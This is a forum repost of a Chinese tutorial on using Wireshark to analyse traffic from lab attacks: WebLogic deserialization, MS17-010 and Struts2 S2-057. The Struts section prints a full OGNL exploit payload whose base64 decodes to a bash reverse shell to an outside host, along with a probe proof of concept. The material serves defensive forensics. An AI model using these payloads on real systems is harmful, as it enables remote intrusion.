搜索

[6911] 2020-09-06_wireshark使用及实列分析

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-17
2020-09-06_wireshark使用及实列分析 w i r e s h a r k 使 用 及 实 列 分 析 E 安 全   2 0 2 0 - 0 9 - 0 6 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 h 1 1 b a 1 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 最 近 在 H W ， 主 要 工 作 就 是 判 断 各 个 设 备 日 志 ， 分 析 数 据 包 ， 对 w i r e s h a r k 数 据 包 分 析 不 太 熟 悉 ， 特 此 学 习 记 录 一 下 。 本 想 再 对 主 流 扫 描 器 和 w e b s h e l l 管 理 工 具 抓 包 分 析 ， 但 碍 于 篇 幅 和 自 己 时 间 问 题 ， 没 有 再 深 入 下 去 。 这 里 主 要 挑 选 了 w e b l o g i c 反 序 列 化 ， m s 1 7 _ 0 1 0 ， s t r u t s   s 2 - 0 5 7 数 据 包 进 行 实 列 分 析 。 希 望 文 章 能 对 给 位 师 傅 有 所 帮 助 ， 文 章 中 可 能 有 很 多 不 足 和 错 误 之 处 ， 还 望 各 位 师 傅 包 涵 。 N o . 1 N o . 1 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 w i r e s h a r k 抓 包 抓 包 1 . 1 选 择 监 听 网 卡 选 择 监 听 网 卡 捕 获 - - > 选 项 我 这 里 要 查 看 我 w l a n 的 流 量 ， 所 以 选 择 w l a n 。 1 . 2   显 示 面 板 介 绍 显 示 面 板 介 绍 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。
数 据 包 列 表 ： 数 据 包 列 表 ： 不 同 的 协 议 会 显 示 不 同 的 颜 色 ， 方 便 区 分 。 数 据 包 详 细 信 息 ： 数 据 包 详 细 信 息 ： f r a m e : 物 理 层 的 数 据 帧 概 况 e t h e r n e t : 数 据 链 路 层 以 太 网 帧 头 部 信 息 i n t e r n e t   p r o t o c o l   v e r s i o n   4 : 互 联 网 层 i p 包 头 部 信 息 t r a n s m i s s i o n   c o n t r o l   p r o t o c o l ： 传 输 层 T 的 数 据 段 头 部 信 息 ， 此 处 是 t c p h y p e r t e x t   t r a n s f e r   p r o t o c o l ： 应 用 层 的 信 息 ， 此 处 是 h t t p 协 议 1 6 进 制 数 据 ： 进 制 数 据 ： 点 击 数 据 包 详 细 信 息 数 据 区 域 的 数 据 ， 在 1 6 进 制 数 据 区 域 中 会 显 示 对 应 的 数 据 。 个 人 理 解 数 据 包 详 细 信 息 区 是 w i r e s h a r k 处 理 之 后 方 便 我 们 查 看 的 数 据 包 ， 而 1 6 进 制 数 据 包 区 域 是 实 际 在 网 络 中 传 输 的 数 据 包 。 N o . 2 N o . 2 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 过 滤 条 件 介 绍 2 . 1 协 议 过 滤 协 议 过 滤 t c p ， i c m p ， h t t p ， u d p . . . 单 独 输 入 只 显 示 对 应 的 协 议 数 据 包 列 表 ， 列 如 ： 输 入 h t t p 2 . 2   i p 过 滤 过 滤 i p . s r c = = 1 2 0 . 2 4 1 . 1 4 8 . 1 5 4   显 示 源 地 址 为 1 2 0 . 2 4 1 . 1 4 8 . 1 5 4   的 数 据 包 列 表
i p . d s t = = 1 2 0 . 2 4 1 . 1 4 8 . 1 5 4   ,   显 示 目 标 地 址 为 1 2 0 . 2 4 1 . 1 4 8 . 1 5 4   的 数 据 包 列 表 i p . a d d r   = =   1 2 0 . 2 4 1 . 1 4 8 . 1 5 4   显 示 源 I P 地 址 或 目 标 I P 地 址 为 1 2 0 . 2 4 1 . 1 4 8 . 1 5 4 的 数 据 包 列 表 2 . 3   端 口 过 滤 端 口 过 滤 t c p . p o r t   = = 8 0 ,   显 示 源 主 机 或 者 目 的 主 机 端 口 为 8 0 的 数 据 包 列 表 。 t c p . s r c p o r t   = =   8 0 ,   只 显 示 T C P 协 议 的 源 主 机 端 口 为 8 0 的 数 据 包 列 表 。 t c p . d s t p o r t   = =   8 0 ， 只 显 示 T C P 协 议 的 目 的 主 机 端 口 为 8 0 的 数 据 包 列 表 。 2 . 4   h t t p 模 式 过 滤 模 式 过 滤 h t t p . r e q u e s t . m e t h o d = = " G E T " ， 只 显 示 H T T P   G E T 方 法 h t t p . r e q u e s t . m e t h o d = = " P O S T " 2 . 5   逻 辑 运 算 符 逻 辑 运 算 符   a n d / o r / n o t h t t p . r e q u e s t . m e t h o d = = " P O S T "   a n d   i p . s r c = = 1 9 2 . 1 6 8 . 7 1 . 2 4 9 只 显 示 1 9 2 . 1 6 8 . 7 1 . 2 4 9 发 送 的 p o s t 数 据 。 2 . 6   固 定 特 征 检 索 固 定 特 征 检 索
选 中 要 c o o k i e （ 可 以 选 择 为 恶 意 的 p a y l o a d ） 右 击 ， 作 为 过 滤 器 应 用 - - > 选 中 则 只 会 显 示 c o o k i e 为 选 择 值 的 数 据 包 。 N o . 3 N o . 3 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 实 列 3 . 1   W e b l o g i c   W L S   C o r e   C o m p o n e n t s   反 序 列 化 命 令 执 行 漏 洞 （ 反 序 列 化 命 令 执 行 漏 洞 （ C V E - 2 0 1 8 - 2 6 2 8 ） ） d o c k e r 搭 建 c v e - 2 0 1 8 - 2 6 2 8 靶 机 ， w i r e s h a r 保 存 数 据 包 分 析 。 d o c k e r 地 址 ： h t t p s : / / v u l h u b . o r g / #   / e n v i r o n m e n t s / w e b l o g i c / C V E - 2 0 1 8 - 2 6 2 8 / 3 . 1 . 1 查 看 恶 意 查 看 恶 意 i p 和 受 害 和 受 害 i p 的 数 据 通 信 的 数 据 通 信 i p . s r c = = 1 9 2 . 1 6 8 . 8 0 . 1   a n d   i p . d s t = = 1 9 2 . 1 6 8 . 8 0 . 4 3 . 1 . 2   依 次 查 看 数 据 包 依 次 查 看 数 据 包 发 现 1 9 2 . 1 6 8 . 8 0 . 1 想 1 9 2 . 1 6 8 . 8 0 . 4 发 送 了 很 多 个 2 7 9 8 长 度 的 数 据 包 ， 将 数 据 包 内 容 复 制 出 来 查 看
鼠 标 右 键 点 击 数 据 包 内 容 ， 选 择   a s   p r i n t a b l e   t e x t 即 可 将 数 据 包 内 容 复 制 到 剪 切 板 ， 将 数 据 包 复 制 到 文 本 编 辑 器 查 看 y s o s e r i a l . j a r ， t o u c h   / t m p / h 1 1 b a 1 . t x t   可 以 大 致 确 定 攻 击 者 使 用 了 y s o s e r i a l 工 具 进 行 了 反 序 列 化 攻 击 ， 准 备 在 服 务 器 执 行 " t o u c h   / t m p / h 1 1 b a 1 . t x t " 命 令 。 3 . 2   m s 1 7 - 0 1 0 3 . 2 . 1   确 定 攻 击 是 否 发 生 确 定 攻 击 是 否 发 生 i p . a d d r = = 1 9 2 . 1 6 8 . 8 0 . 4   a n d   i p . a d d r = = 1 9 2 . 1 6 8 . 8 0 . 8   a n d   s m b 发 现 1 9 2 . 1 6 8 . 8 0 . 4 这 个 i p 向 1 9 2 . 1 6 8 . 8 0 . 8 发 送 了 大 量 的 A 字 节 。 推 测 在 进 行 溢 出 操 作 。 所 以 确 定 发 送 m s 1 7 _ 0 1 0 攻 击 3 . 2 . 2   确 定 是 否 成 功 确 定 是 否 成 功 继 续 查 看 数 据 包 ， 发 现 数 据 包 中 含 有 s e s s i o n   s e t u p   a n d   r e q u e s t 数 据 包 ， 并 且 数 据 包 中 含 有 被 攻 击 机 器 的 准 确 域 信 息 ， 说 明 攻 击 成 功 。
3 . 2 . 3   确 定 攻 击 者 执 行 了 那 些 命 令 确 定 攻 击 者 执 行 了 那 些 命 令 i p . a d d r = = 1 9 2 . 1 6 8 . 8 0 . 4   a n d   i p . a d d r = = 1 9 2 . 1 6 8 . 8 0 . 8   a n d   t c p 分 析 1 9 2 . 1 6 8 . 8 0 . 4 与 1 9 2 . 1 6 8 . 8 0 . 8 之 间 传 输 的 所 有 t c p 数 据 流 从 上 往 下 依 次 查 看 ， 发 现 ， 被 标 黑 的 数 据 包 中 含 有 c m d 命 令 行 ， 重 点 查 看 标 黑 的 数 据 流 。 并 且 可 以 确 定 攻 击 者 通 过 4 4 4 4 端 口 来 接 收 受 害 者 的 s h e l l 。 依 次 往 下 面 查 看 ， 发 现 受 害 者 1 9 2 . 1 6 8 . 8 0 . 8 向 攻 击 者 1 9 2 . 1 6 8 . 8 0 . 4 发 送 了 自 己 的 盘 符 信 息 。 此 时 可 以 确 定 攻 击 者 拥 有 了 受 害 者 c m d 控 制 权 。 依 次 往 后 面 查 看 ， 发 现 攻 击 者 执 行 了 ， w h o a m i , i p c o n f i g   / a l l ， n e t   u s e r   / d o m a i n ， d i r 等 命 令 。 并 且 受 害 者 返 回 执 行 结 果
鼠 标 右 键 点 击 - - - > 选 择 a s   p r i n t a b l e   t e x t ， 将 数 据 包 提 取 出 来 ， 复 制 到 s u b l i m e 中 可 以 更 清 晰 的 查 看 3 . 3   S t r u t s 2   S 2 - 0 5 7   R e m o t e   C o d e   E x e c u t i o n   V u l n e r a b l i t y ( C V E - 2 0 1 8 - 1 1 7 7 6 ) s t r u t s   s 2 - 0 5 7 主 要 通 过 G E T 请 求 发 起 攻 击 ， 只 查 看 G E T 请 求 的 数 据 h t t p . r e q u e s t . m e t h o d = = " G E T " 3 . 3 . 1   p o c 验 证 漏 洞 验 证 漏 洞 攻 击 者 先 采 用 p o c : / $ % 7 B ( 1 1 1 + 1 1 1 ) % 7 D / a c t i o n C h a i n 1 . a c t i o n 探 测 是 否 存 在 s t r u t s   s 2 - 0 5 7 漏 洞 ， 跟 踪 h t t p 流 查 看 漏 洞 是 否 存 在
表 达 式 执 行 成 功 ， 说 明 该 漏 洞 存 在 ， 接 下 来 查 看 攻 击 者 利 用 该 漏 洞 做 了 什 么 3 . 3 . 2   查 看 攻 击 者 利 用 漏 洞 做 了 什 么 查 看 攻 击 者 利 用 漏 洞 做 了 什 么 查 看 最 后 一 个 h t t p 流 ， 发 现 存 在 b a s h 字 样 ， 跟 踪 h t t p 流 查 看 p a y l o a d   u r l 解 码 ： / s t r u t s 2 - s h o w c a s e / $ { ( #   d m = @ o g n l . O g n l C o n t e x t @ D E F A U L T _ M E M B E R _ A C C E S S ) . ( #   c t = # r e q u e s t [ ' s t r u t s . v a l u e S t a c k ' ] . c o n t e x t ) . ( #   c r = #   c t [ ' c o m . o p e n s y m p h o n y . x w o r k 2 . A c t i o n C o n t e x t . c o n t a i n e r ' ] ) . ( #   o u = # c r . g e t I n s t a n c e ( @ c o m . o p e n s y m p h o n y . x w o r k 2 . o g n l . O g n l U t i l @ c l a s s ) ) . ( #   o u . g e t E x c l u d e d P a c k a g e N a m e s ( ) . c l e a r ( ) ) . ( # o u . g e t E x c l u d e d C l a s s e s ( ) . c l e a r ( ) ) . ( #   c t . s e t M e m b e r A c c e s s ( #   d m ) ) . ( #   a = @ j a v a . l a n g . R u n t i m e @ g e t R u n t i m e ( ) . e x e c ( ' b a s h   - c { e c h o , Y m F z a C A t a S A + J i 9 k Z X Y v d G N w L z E w N i 4 x N C 4 x O T A u O T M v M j M z M y A w P i Y x C g = = } | { b a s e 6 4 , - d } | { b a s h , - i } ' ) ) . ( @ o r g . a p a c h e . c o m m o n s . i o . I O U t i l s @ t o S t r i n g ( #   a . g e t I n p u t S t r e a m ( ) ) ) } / a c t i o n C h a i n 1 . a c t i o n 发 现 攻 击 者 在 尝 试 反 弹 s h e l l p a y l a o d 中 的 b a s e 6 4 字 符 串 解 码 得 到 ： b a s h   - i   > & / d e v / t c p / 1 0 6 . 1 9 0 . x . x / 2 3 3 3   0 > & 1 说 明 攻 击 者 想 将 s h e l l 反 弹 到 1 0 6 . 1 9 0 . x . x 的 2 3 3 3 端 口 3 . 3 . 3   查 看 攻 击 者 是 否 拿 到 查 看 攻 击 者 是 否 拿 到 s h e l l ， 并 执 行 了 那 些 操 作 ， 并 执 行 了 那 些 操 作 已 经 确 定 反 弹 s h e l l 的 v p s ， 那 么 直 接 查 看 与 该 i p 的 数 据 流 i p . a d d r = = 1 0 6 . 1 9 0 . x . x
发 现 数 据 中 存 在 服 务 器 名 ， 跟 踪 t c p 流 ， 发 现 攻 击 者 执 行 了 l s 命 令 ， 并 且 执 行 成 功 。 N o . 4 N o . 4 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 参 考 链 接 h t t p s : / / w w w . c n b l o g s . c o m / l i n y f e n g / p / 9 4 9 6 1 2 6 . h t m l 注 ： 本 文 由 E 安 全 编 译 报 道 ， 转 载 请 注 原 文 地 址   h t t p s : / / w w w . e a s y a q . c o m 推 荐 阅 读 ： 为 提 高 用 户 隐 私   谷 歌 C h r o m e 浏 览 器 推 出 了 安 全 D N S 美 国 大 选 在 即   黑 客 频 繁 攻 击 特 朗 普 的 竞 选 网 站 马 克 龙 不 排 斥 华 为 进 入 法 国 5 G 市 场   但 更 倾 向 于 爱 立 信 和 诺 基 亚 动 手 了 ！ 美 国 政 府 没 收 2 8 0 个 朝 鲜 加 密 货 币 账 户 绽 放 杯 ｜ 5 G 安 全 技 术 结 硕 果 ， 安 恒 信 息 首 创 全 国 5 G + 智 慧 矿 山 网 络 安 全 体 系 方 案 应 用 ▼ 点 击 “ 阅 读 原 文 ”   查 看 更 多 精 彩 内 容 喜 欢 记 得 打 赏 小 E 哦 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理